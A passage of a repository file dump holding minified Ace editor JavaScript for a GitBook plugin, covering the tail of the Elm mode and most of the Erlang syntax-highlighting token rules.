l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/elm\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/elm_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./elm_highlight_rules\").ElmHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.blockComment={start:\"{-\",end:\"-}\",nestable:!0},this.$id=\"ace/mode/elm\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-erlang.js",
    "content": "define(\"ace/mode/erlang_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{include:\"#module-directive\"},{include:\"#import-export-directive\"},{include:\"#behaviour-directive\"},{include:\"#record-directive\"},{include:\"#define-directive\"},{include:\"#macro-directive\"},{include:\"#directive\"},{include:\"#function\"},{include:\"#everything-else\"}],\"#atom\":[{token:\"punctuation.definition.symbol.begin.erlang\",regex:\"'\",push:[{token:\"punctuation.definition.symbol.end.erlang\",regex:\"'\",next:\"pop\"},{token:[\"punctuation.definition.escape.erlang\",\"constant.other.symbol.escape.erlang\",\"punctuation.definition.escape.erlang\",\"constant.other.symbol.escape.erlang\",\"constant.other.symbol.escape.erlang\"],regex:\"(\\\\\\\\)(?:([bdefnrstv\\\\\\\\'\\\"])|(\\\\^)([@-_])|([0-7]{1,3}))\"},{token:\"invalid.illegal.atom.erlang\",regex:\"\\\\\\\\\\\\^?.?\"},{defaultToken:\"constant.other.symbol.quoted.single.erlang\"}]},{token:\"constant.other.symbol.unquoted.erlang\",regex:\"[a-z][a-zA-Z\\\\d@_]*\"}],\"#behaviour-directive\":[{token:[\"meta.directive.behaviour.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.behaviour.erlang\",\"keyword.control.directive.behaviour.erlang\",\"meta.directive.behaviour.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.behaviour.erlang\",\"entity.name.type.class.behaviour.definition.erlang\",\"meta.directive.behaviour.erlang\",\"punctuation.definition.parameters.end.erlang\",\"meta.directive.behaviour.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(behaviour)(\\\\s*)(\\\\()(\\\\s*)([a-z][a-zA-Z\\\\d@_]*)(\\\\s*)(\\\\))(\\\\s*)(\\\\.)\"}],\"#binary\":[{token:\"punctuation.definition.binary.begin.erlang\",regex:\"<<\",push:[{token:\"punctuation.definition.binary.end.erlang\",regex:\">>\",next:\"pop\"},{token:[\"punctuation.separator.binary.erlang\",\"punctuation.separator.value-size.erlang\"],regex:\"(,)|(:)\"},{include:\"#internal-type-specifiers\"},{include:\"#everything-else\"},{defaultToken:\"meta.structure.binary.erlang\"}]}],\"#character\":[{token:[\"punctuation.definition.character.erlang\",\"punctuation.definition.escape.erlang\",\"constant.character.escape.erlang\",\"punctuation.definition.escape.erlang\",\"constant.character.escape.erlang\",\"constant.character.escape.erlang\"],regex:\"(\\\\$)(\\\\\\\\)(?:([bdefnrstv\\\\\\\\'\\\"])|(\\\\^)([@-_])|([0-7]{1,3}))\"},{token:\"invalid.illegal.character.erlang\",regex:\"\\\\$\\\\\\\\\\\\^?.?\"},{token:[\"punctuation.definition.character.erlang\",\"constant.character.erlang\"],regex:\"(\\\\$)(\\\\S)\"},{token:\"invalid.illegal.character.erlang\",regex:\"\\\\$.?\"}],\"#comment\":[{token:\"punctuation.definition.comment.erlang\",regex:\"%.*$\",push_:[{token:\"comment.line.percentage.erlang\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.percentage.erlang\"}]}],\"#define-directive\":[{token:[\"meta.directive.define.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.define.erlang\",\"keyword.control.directive.define.erlang\",\"meta.directive.define.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.define.erlang\",\"entity.name.function.macro.definition.erlang\",\"meta.directive.define.erlang\",\"punctuation.separator.parameters.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(define)(\\\\s*)(\\\\()(\\\\s*)([a-zA-Z\\\\d@_]+)(\\\\s*)(,)\",push:[{token:[\"punctuation.definition.parameters.end.erlang\",\"meta.directive.define.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"(\\\\))(\\\\s*)(\\\\.)\",next:\"pop\"},{include:\"#everything-else\"},{defaultToken:\"meta.directive.define.erlang\"}]},{token:\"meta.directive.define.erlang\",regex:\"(?=^\\\\s*-\\\\s*define\\\\s*\\\\(\\\\s*[a-zA-Z\\\\d@_]+\\\\s*\\\\()\",push:[{token:[\"punctuation.definition.parameters.end.erlang\",\"meta.directive.define.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"(\\\\))(\\\\s*)(\\\\.)\",next:\"pop\"},{token:[\"text\",\"punctuation.section.directive.begin.erlang\",\"text\",\"keyword.control.directive.define.erlang\",\"text\",\"punctuation.definition.parameters.begin.erlang\",\"text\",\"entity.name.function.macro.definition.erlang\",\"text\",\"punctuation.definition.parameters.begin.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(define)(\\\\s*)(\\\\()(\\\\s*)([a-zA-Z\\\\d@_]+)(\\\\s*)(\\\\()\",push:[{token:[\"punctuation.definition.parameters.end.erlang\",\"text\",\"punctuation.separator.parameters.erlang\"],regex:\"(\\\\))(\\\\s*)(,)\",next:\"pop\"},{token:\"punctuation.separator.parameters.erlang\",regex:\",\"},{include:\"#everything-else\"}]},{token:\"punctuation.separator.define.erlang\",regex:\"\\\\|\\\\||\\\\||:|;|,|\\\\.|->\"},{include:\"#everything-else\"},{defaultToken:\"meta.directive.define.erlang\"}]}],\"#directive\":[{token:[\"meta.directive.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.erlang\",\"keyword.control.directive.erlang\",\"meta.directive.erlang\",\"punctuation.definition.parameters.begin.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)([a-z][a-zA-Z\\\\d@_]*)(\\\\s*)(\\\\(?)\",push:[{token:[\"punctuation.definition.parameters.end.erlang\",\"meta.directive.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"(\\\\)?)(\\\\s*)(\\\\.)\",next:\"pop\"},{include:\"#everything-else\"},{defaultToken:\"meta.directive.erlang\"}]},{token:[\"meta.directive.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.erlang\",\"keyword.control.directive.erlang\",\"meta.directive.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)([a-z][a-zA-Z\\\\d@_]*)(\\\\s*)(\\\\.)\"}],\"#everything-else\":[{include:\"#comment\"},{include:\"#record-usage\"},{include:\"#macro-usage\"},{include:\"#expression\"},{include:\"#keyword\"},{include:\"#textual-operator\"},{include:\"#function-call\"},{include:\"#tuple\"},{include:\"#list\"},{include:\"#binary\"},{include:\"#parenthesized-expression\"},{include:\"#character\"},{include:\"#number\"},{include:\"#atom\"},{include:\"#string\"},{include:\"#symbolic-operator\"},{include:\"#variable\"}],\"#expression\":[{token:\"keyword.control.if.erlang\",regex:\"\\\\bif\\\\b\",push:[{token:\"keyword.control.end.erlang\",regex:\"\\\\bend\\\\b\",next:\"pop\"},{include:\"#internal-expression-punctuation\"},{include:\"#everything-else\"},{defaultToken:\"meta.expression.if.erlang\"}]},{token:\"keyword.control.case.erlang\",regex:\"\\\\bcase\\\\b\",push:[{token:\"keyword.control.end.erlang\",regex:\"\\\\bend\\\\b\",next:\"pop\"},{include:\"#internal-expression-punctuation\"},{include:\"#everything-else\"},{defaultToken:\"meta.expression.case.erlang\"}]},{token:\"keyword.control.receive.erlang\",regex:\"\\\\breceive\\\\b\",push:[{token:\"keyword.control.end.erlang\",regex:\"\\\\bend\\\\b\",next:\"pop\"},{include:\"#internal-expression-punctuation\"},{include:\"#everything-else\"},{defaultToken:\"meta.expression.receive.erlang\"}]},{token:[\"keyword.control.fun.erlang\",\"text\",\"entity.name.type.class.module.erlang\",\"text\",\"punctuation.separator.module-function.erlang\",\"text\",\"entity.name.function.erlang\",\"text\",\"punctuation.separator.function-arity.erlang\"],regex:\"\\\\b(fun)(\\\\s*)(?:([a-z][a-zA-Z\\\\d@_]*)(\\\\s*)(:)(\\\\s*))?([a-z][a-zA-Z\\\\d@_]*)(\\\\s*)(/)\"},{token:\"keyword.control.fun.erlang\",regex:\"\\\\bfun\\\\b\",push:[{token:\"keyword.control.end.erlang\",regex:\"\\\\bend\\\\b\",next:\"pop\"},{token:\"text\",regex:\"(?=\\\\()\",push:[{token:\"punctuation.separator.clauses.erlang\",regex:\";|(?=\\\\bend\\\\b)\",next:\"pop\"},{include:\"#internal-function-parts\"}]},{include:\"#everything-else\"},{defaultToken:\"meta.expression.fun.erlang\"}]},{token:\"keyword.control.try.erlang\",regex:\"\\\\btry\\\\b\",push:[{token:\"keyword.control.end.erlang\",regex:\"\\\\bend\\\\b\",next:\"pop\"},{include:\"#internal-expression-punctuation\"},{include:\"#everything-else\"},{defaultToken:\"meta.expression.try.erlang\"}]},{token:\"keyword.control.begin.erlang\",regex:\"\\\\bbegin\\\\b\",push:[{token:\"keyword.control.end.erlang\",regex:\"\\\\bend\\\\b\",next:\"pop\"},{include:\"#internal-expression-punctuation\"},{include:\"#everything-else\"},{defaultToken:\"meta.expression.begin.erlang\"}]},{token:\"keyword.control.query.erlang\",regex:\"\\\\bquery\\\\b\",push:[{token:\"keyword.control.end.erlang\",regex:\"\\\\bend\\\\b\",next:\"pop\"},{include:\"#everything-else\"},{defaultToken:\"meta.expression.query.erlang\"}]}],\"#function\":[{token:[\"meta.function.erlang\",\"entity.name.function.definition.erlang\",\"meta.function.erlang\"],regex:\"^(\\\\s*)([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(?=\\\\()\",push:[{token:\"punctuation.terminator.function.erlang\",regex:\"\\\\.\",next:\"pop\"},{token:[\"text\",\"entity.name.function.erlang\",\"text\"],regex:\"^(\\\\s*)([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(?=\\\\()\"},{token:\"text\",regex:\"(?=\\\\()\",push:[{token:\"punctuation.separator.clauses.erlang\",regex:\";|(?=\\\\.)\",next:\"pop\"},{include:\"#parenthesized-expression\"},{include:\"#internal-function-parts\"}]},{include:\"#everything-else\"},{defaultToken:\"meta.function.erlang\"}]}],\"#function-call\":[{token:\"meta.function-call.erlang\",regex:\"(?=(?:[a-z][a-zA-Z\\\\d@_]*|'[^']*')\\\\s*(?:\\\\(|:\\\\s*(?:[a-z][a-zA-Z\\\\d@_]*|'[^']*')\\\\s*\\\\())\",push:[{token:\"punctuation.definition.parameters.end.erlang\",regex:\"\\\\)\",next:\"pop\"},{token:[\"entity.name.type.class.module.erlang\",\"text\",\"punctuation.separator.module-function.erlang\",\"text\",\"entity.name.function.guard.erlang\",\"text\",\"punctuation.definition.parameters.begin.erlang\"],regex:\"(?:(erlang)(\\\\s*)(:)(\\\\s*))?(is_atom|is_binary|is_constant|is_float|is_function|is_integer|is_list|is_number|is_pid|is_port|is_reference|is_tuple|is_record|abs|element|hd|length|node|round|self|size|tl|trunc)(\\\\s*)(\\\\()\",push:[{token:\"text\",regex:\"(?=\\\\))\",next:\"pop\"},{token:\"punctuation.separator.parameters.erlang\",regex:\",\"},{include:\"#everything-else\"}]},{token:[\"entity.name.type.class.module.erlang\",\"text\",\"punctuation.separator.module-function.erlang\",\"text\",\"entity.name.function.erlang\",\"text\",\"punctuation.definition.parameters.begin.erlang\"],regex:\"(?:([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(:)(\\\\s*))?([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(\\\\()\",push:[{token:\"text\",regex:\"(?=\\\\))\",next:\"pop\"},{token:\"punctuation.separator.parameters.erlang\",regex:\",\"},{include:\"#everything-else\"}]},{defaultToken:\"meta.function-call.erlang\"}]}],\"#import-export-directive\":[{token:[\"meta.directive.import.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.import.erlang\",\"keyword.control.directive.import.erlang\",\"meta.directive.import.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.import.erlang\",\"entity.name.type.class.module.erlang\",\"meta.directive.import.erlang\",\"punctuation.separator.parameters.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(import)(\\\\s*)(\\\\()(\\\\s*)([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(,)\",push:[{token:[\"punctuation.definition.parameters.end.erlang\",\"meta.directive.import.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"(\\\\))(\\\\s*)(\\\\.)\",next:\"pop\"},{include:\"#internal-function-list\"},{defaultToken:\"meta.directive.import.erlang\"}]},{token:[\"meta.directive.export.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.export.erlang\",\"keyword.control.directive.export.erlang\",\"meta.directive.export.erlang\",\"punctuation.definition.parameters.begin.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(export)(\\\\s*)(\\\\()\",push:[{token:[\"punctuation.definition.parameters.end.erlang\",\"meta.directive.export.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"(\\\\))(\\\\s*)(\\\\.)\",next:\"pop\"},{include:\"#internal-function-list\"},{defaultToken:\"meta.directive.export.erlang\"}]}],\"#internal-expression-punctuation\":[{token:[\"punctuation.separator.clause-head-body.erlang\",\"punctuation.separator.clauses.erlang\",\"punctuation.separator.expressions.erlang\"],regex:\"(->)|(;)|(,)\"}],\"#internal-function-list\":[{token:\"punctuation.definition.list.begin.erlang\",regex:\"\\\\[\",push:[{token:\"punctuation.definition.list.end.erlang\",regex:\"\\\\]\",next:\"pop\"},{token:[\"entity.name.function.erlang\",\"text\",\"punctuation.separator.function-arity.erlang\"],regex:\"([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(/)\",push:[{token:\"punctuation.separator.list.erlang\",regex:\",|(?=\\\\])\",next:\"pop\"},{include:\"#everything-else\"}]},{include:\"#everything-else\"},{defaultToken:\"meta.structure.list.function.erlang\"}]}],\"#internal-function-parts\":[{token:\"text\",regex:\"(?=\\\\()\",push:[{token:\"punctuation.separator.clause-head-body.erlang\",regex:\"->\",next:\"pop\"},{token:\"punctuation.definition.parameters.begin.erlang\",regex:\"\\\\(\",push:[{token:\"punctuation.definition.parameters.end.erlang\",regex:\"\\\\)\",next:\"pop\"},{token:\"punctuation.separator.parameters.erlang\",regex:\",\"},{include:\"#everything-else\"}]},{token:\"punctuation.separator.guards.erlang\",regex:\",|;\"},{include:\"#everything-else\"}]},{token:\"punctuation.separator.expressions.erlang\",regex:\",\"},{include:\"#everything-else\"}],\"#internal-record-body\":[{token:\"punctuation.definition.class.record.begin.erlang\",regex:\"\\\\{\",push:[{token:\"meta.structure.record.erlang\",regex:\"(?=\\\\})\",next:\"pop\"},{token:[\"variable.other.field.erlang\",\"variable.language.omitted.field.erlang\",\"text\",\"keyword.operator.assignment.erlang\"],regex:\"(?:([a-z][a-zA-Z\\\\d@_]*|'[^']*')|(_))(\\\\s*)(=|::)\",push:[{token:\"punctuation.separator.class.record.erlang\",regex:\",|(?=\\\\})\",next:\"pop\"},{include:\"#everything-else\"}]},{token:[\"variable.other.field.erlang\",\"text\",\"punctuation.separator.class.record.erlang\"],regex:\"([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)((?:,)?)\"},{include:\"#everything-else\"},{defaultToken:\"meta.structure.record.erlang\"}]}],\"#internal-type-specifiers\":[{token:\"punctuation.separator.value-type.erlang\",regex:\"/\",push:[{token:\"text\",regex:\"(?=,|:|>>)\",next:\"pop\"},{token:[\"storage.type.erlang\",\"storage.modifier.signedness.erlang\",\"storage.modifier.endianness.erlang\",\"storage.modifier.unit.erlang\",\"punctuation.separator.type-specifiers.erlang\"],regex:\"(integer|float|binary|bytes|bitstring|bits)|(signed|unsigned)|(big|little|native)|(unit)|(-)\"}]}],\"#keyword\":[{token:\"keyword.control.erlang\",regex:\"\\\\b(?:after|begin|case|catch|cond|end|fun|if|let|of|query|try|receive|when)\\\\b\"}],\"#list\":[{token:\"punctuation.definition.list.begin.erlang\",regex:\"\\\\[\",push:[{token:\"punctuation.definition.list.end.erlang\",regex:\"\\\\]\",next:\"pop\"},{token:\"punctuation.separator.list.erlang\",regex:\"\\\\||\\\\|\\\\||,\"},{include:\"#everything-else\"},{defaultToken:\"meta.structure.list.erlang\"}]}],\"#macro-directive\":[{token:[\"meta.directive.ifdef.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.ifdef.erlang\",\"keyword.control.directive.ifdef.erlang\",\"meta.directive.ifdef.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.ifdef.erlang\",\"entity.name.function.macro.erlang\",\"meta.directive.ifdef.erlang\",\"punctuation.definition.parameters.end.erlang\",\"meta.directive.ifdef.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(ifdef)(\\\\s*)(\\\\()(\\\\s*)([a-zA-z\\\\d@_]+)(\\\\s*)(\\\\))(\\\\s*)(\\\\.)\"},{token:[\"meta.directive.ifndef.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.ifndef.erlang\",\"keyword.control.directive.ifndef.erlang\",\"meta.directive.ifndef.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.ifndef.erlang\",\"entity.name.function.macro.erlang\",\"meta.directive.ifndef.erlang\",\"punctuation.definition.parameters.end.erlang\",\"meta.directive.ifndef.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(ifndef)(\\\\s*)(\\\\()(\\\\s*)([a-zA-z\\\\d@_]+)(\\\\s*)(\\\\))(\\\\s*)(\\\\.)\"},{token:[\"meta.directive.undef.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.undef.erlang\",\"keyword.control.directive.undef.erlang\",\"meta.directive.undef.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.undef.erlang\",\"entity.name.function.macro.erlang\",\"meta.directive.undef.erlang\",\"punctuation.definition.parameters.end.erlang\",\"meta.directive.undef.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(undef)(\\\\s*)(\\\\()(\\\\s*)([a-zA-z\\\\d@_]+)(\\\\s*)(\\\\))(\\\\s*)(\\\\.)\"}],\"#macro-usage\":[{token:[\"keyword.operator.macro.erlang\",\"meta.macro-usage.erlang\",\"entity.name.function.macro.erlang\"],regex:\"(\\\\?\\\\??)(\\\\s*)([a-zA-Z\\\\d@_]+)\"}],\"#module-directive\":[{token:[\"meta.directive.module.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.module.erlang\",\"keyword.control.directive.module.erlang\",\"meta.directive.module.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.module.erlang\",\"entity.name.type.class.module.definition.erlang\",\"meta.directive.module.erlang\",\"punctuation.definition.parameters.end.erlang\",\"meta.directive.module.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(module)(\\\\s*)(\\\\()(\\\\s*)([a-z][a-zA-Z\\\\d@_]*)(\\\\s*)(\\\\))(\\\\s*)(\\\\.)\"}],\"#number\":[{token:\"text\",regex:\"(?=\\\\d)\",push:[{token:\"text\",regex:\"(?!\\\\d)\",next:\"pop\"},{token:[\"constant.numeric.float.erlang\",\"punctuation.separator.integer-float.erlang\",\"constant.numeric.float.erlang\",\"punctuation.separator.float-exponent.erlang\"],regex:\"(\\\\d+)(\\\\.)(\\\\d+)((?:[eE][\\\\+\\\\-]?\\\\d+)?)\"},{token:[\"constant.numeric.integer.binary.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.binary.erlang\"],regex:\"(2)(#)([0-1]+)\"},{token:[\"constant.numeric.integer.base-3.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-3.erlang\"],regex:\"(3)(#)([0-2]+)\"},{token:[\"constant.numeric.integer.base-4.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-4.erlang\"],regex:\"(4)(#)([0-3]+)\"},{token:[\"constant.numeric.integer.base-5.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-5.erlang\"],regex:\"(5)(#)([0-4]+)\"},{token:[\"constant.numeric.integer.base-6.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-6.erlang\"],regex:\"(6)(#)([0-5]+)\"},{token:[\"constant.numeric.integer.base-7.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-7.erlang\"],regex:\"(7)(#)([0-6]+)\"},{token:[\"constant.numeric.integer.octal.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.octal.erlang\"],regex:\"(8)(#)([0-7]+)\"},{token:[\"constant.numeric.integer.base-9.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-9.erlang\"],regex:\"(9)(#)([0-8]+)\"},{token:[\"constant.numeric.integer.decimal.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.decimal.erlang\"],regex:\"(10)(#)(\\\\d+)\"},{token:[\"constant.numeric.integer.base-11.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-11.erlang\"],regex:\"(11)(#)([\\\\daA]+)\"},{token:[\"constant.numeric.integer.base-12.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-12.erlang\"],regex:\"(12)(#)([\\\\da-bA-B]+)\"},{token:[\"constant.numeric.integer.base-13.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-13.erlang\"],regex:\"(13)(#)([\\\\da-cA-C]+)\"},{token:[\"constant.numeric.integer.base-14.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-14.erlang\"],regex:\"(14)(#)([\\\\da-dA-D]+)\"},{token:[\"constant.numeric.integer.base-15.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-15.erlang\"],regex:\"(15)(#)([\\\\da-eA-E]+)\"},{token:[\"constant.numeric.integer.hexadecimal.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.hexadecimal.erlang\"],regex:\"(16)(#)([\\\\da-fA-F]+)\"},{token:[\"constant.numeric.integer.base-17.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-17.erlang\"],regex:\"(17)(#)([\\\\da-gA-G]+)\"},{token:[\"constant.numeric.integer.base-18.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-18.erlang\"],regex:\"(18)(#)([\\\\da-hA-H]+)\"},{token:[\"constant.numeric.integer.base-19.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-19.erlang\"],regex:\"(19)(#)([\\\\da-iA-I]+)\"},{token:[\"constant.numeric.integer.base-20.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-20.erlang\"],regex:\"(20)(#)([\\\\da-jA-J]+)\"},{token:[\"constant.numeric.integer.base-21.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-21.erlang\"],regex:\"(21)(#)([\\\\da-kA-K]+)\"},{token:[\"constant.numeric.integer.base-22.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-22.erlang\"],regex:\"(22)(#)([\\\\da-lA-L]+)\"},{token:[\"constant.numeric.integer.base-23.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-23.erlang\"],regex:\"(23)(#)([\\\\da-mA-M]+)\"},{token:[\"constant.numeric.integer.base-24.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-24.erlang\"],regex:\"(24)(#)([\\\\da-nA-N]+)\"},{token:[\"constant.numeric.integer.base-25.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-25.erlang\"],regex:\"(25)(#)([\\\\da-oA-O]+)\"},{token:[\"constant.numeric.integer.base-26.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-26.erlang\"],regex:\"(26)(#)([\\\\da-pA-P]+)\"},{token:[\"constant.numeric.integer.base-27.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-27.erlang\"],regex:\"(27)(#)([\\\\da-qA-Q]+)\"},{token:[\"constant.numeric.integer.base-28.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-28.erlang\"],regex:\"(28)(#)([\\\\da-rA-R]+)\"},{token:[\"constant.numeric.integer.base-29.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-29.erlang\"],regex:\"(29)(#)([\\\\da-sA-S]+)\"},{token:[\"constant.numeric.integer.base-30.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-30.erlang\"],regex:\"(30)(#)([\\\\da-tA-T]+)\"},{token:[\"constant.numeric.integer.base-31.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-31.erlang\"],regex:\"(31)(#)([\\\\da-uA-U]+)\"},{token:[\"constant.numeric.integer.base-32.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-32.erlang\"],regex:\"(32)(#)([\\\\da-vA-V]+)\"},{token:[\"constant.numeric.integer.base-33.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-33.erlang\"],regex:\"(33)(#)([\\\\da-wA-W]+)\"},{token:[\"constant.numeric.integer.base-34.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-34.erlang\"],regex:\"(34)(#)([\\\\da-xA-X]+)\"},{token:[\"constant.numeric.integer.base-35.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-35.erlang\"],regex:\"(35)(#)([\\\\da-yA-Y]+)\"},{token:[\"constant.numeric.integer.base-36.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-36.erlang\"],regex:\"(36)(#)([\\\\da-zA-Z]+)\"},{token:\"invalid.illegal.integer.erlang\",regex:\"\\\\d+#[\\\\da-zA-Z]+\"},{token:\"constant.numeric.integer.decimal.erlang\",regex:\"\\\\d+\"}]}],\"#parenthesized-expression\":[{token:\"punctuation.section.expression.begin.erlang\",regex:\"\\\\(\",push:[{token:\"punctuation.section.expression.end.erlang\",regex:\"\\\\)\",next:\"pop\"},{include:\"#everything-else\"},{defaultToken:\"meta.expression.parenthesized\"}]}],\"#record-directive\":[{token:[\"meta.directive.record.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.record.erlang\",\"keyword.control.directive.import.erlang\",\"meta.directive.record.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.record.erlang\",\"entity.name.type.class.record.definition.erlang\",\"meta.directive.record.erlang\",\"punctuation.separator.parameters.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(record)(\\\\s*)(\\\\()(\\\\s*)([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(,)\",push:[{token:[\"punctuation.definition.class.record.end.erlang\",\"meta.directive.record.erlang\",\"punctuation.definition.parameters.end.erlang\",\"meta.directive.record.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"(\\\\})(\\\\s*)(\\\\))(\\\\s*)(\\\\.)\",next:\"pop\"},{include:\"#internal-record-body\"},{defaultToken:\"meta.directive.record.erlang\"}]}],\"#record-usage\":[{token:[\"keyword.operator.record.erlang\",\"meta.record-usage.erlang\",\"entity.name.type.class.record.erlang\",\"meta.record-usage.erlang\",\"punctuation.separator.record-field.erlang\",\"meta.record-usage.erlang\",\"variable.other.field.erlang\"],regex:\"(#)(\\\\s*)([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(\\\\.)(\\\\s*)([a-z][a-zA-Z\\\\d@_]*|'[^']*')\"},{token:[\"keyword.operator.record.erlang\",\"meta.record-usage.erlang\",\"entity.name.type.class.record.erlang\"],regex:\"(#)(\\\\s*)([a-z][a-zA-Z\\\\d@_]*|'[^']*')\",push:[{token:\"punctuation.definition.class.record.end.erlang\",regex:\"\\\\}\",next:\"pop\"},{include:\"#internal-record-body\"},{defaultToken:\"meta.record-usage.erlang\"}]}],\"#string\":[{token:\"punctuation.definition.string.begin.erlang\",regex:'\"',push:[{token:\"punctuation.definition.string.end.erlang\",regex:'\"',next:\"pop\"},{token:[\"punctuation.definition.escape.erlang\",\"constant.character.escape.erlang\",\"punctuation.definition.escape.erlang\",\"constant.character.escape.erlang\",\"constant.character.escape.erlang\"],regex:\"(\\\\\\\\)(?:([bdefnrstv\\\\\\\\'\\\"])|(\\\\^)([@-_])|